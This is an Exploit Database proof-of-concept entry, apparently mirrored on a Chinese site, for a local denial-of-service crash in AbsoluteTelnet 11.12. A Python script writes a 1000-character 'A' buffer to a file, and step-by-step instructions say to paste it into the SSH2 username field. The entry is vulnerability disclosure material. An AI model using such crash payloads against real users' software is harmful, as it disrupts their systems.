AbsoluteTelnet 11.12 – ‘SSH2/username’ Denial of Service (PoC)

• Exploit Database
• 19 阅读

• 作者： chuyreds
  日期： 2020-02-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48010/

• # Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)
  # Discovery by: chuyreds 
  # Discovery Date: 2020-02-05
  # Vendor Homepage: https://www.celestialsoftware.net/
  # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
  # Tested Version: 11.12
  # Vulnerability Type: Denial of Service (DoS) Local
  # Tested on OS: Windows 10 Pro x64 es
  
  #Steps to produce the crash:
  #1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py
  #2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard
  #3.- Open AbsoluteTelnet
  #4.- Select "new connection file", "Connection", "SSH2", "Use last username"
  #5.- In "username" field paste Clipboard
  #6.- Select "OK"
  #7.- Crashed
  
  buffer = "\x41" * 1000
  f = open ("absolutetelnet_username_SSH2.txt", "w")
  f.write(buffer)
  f.close()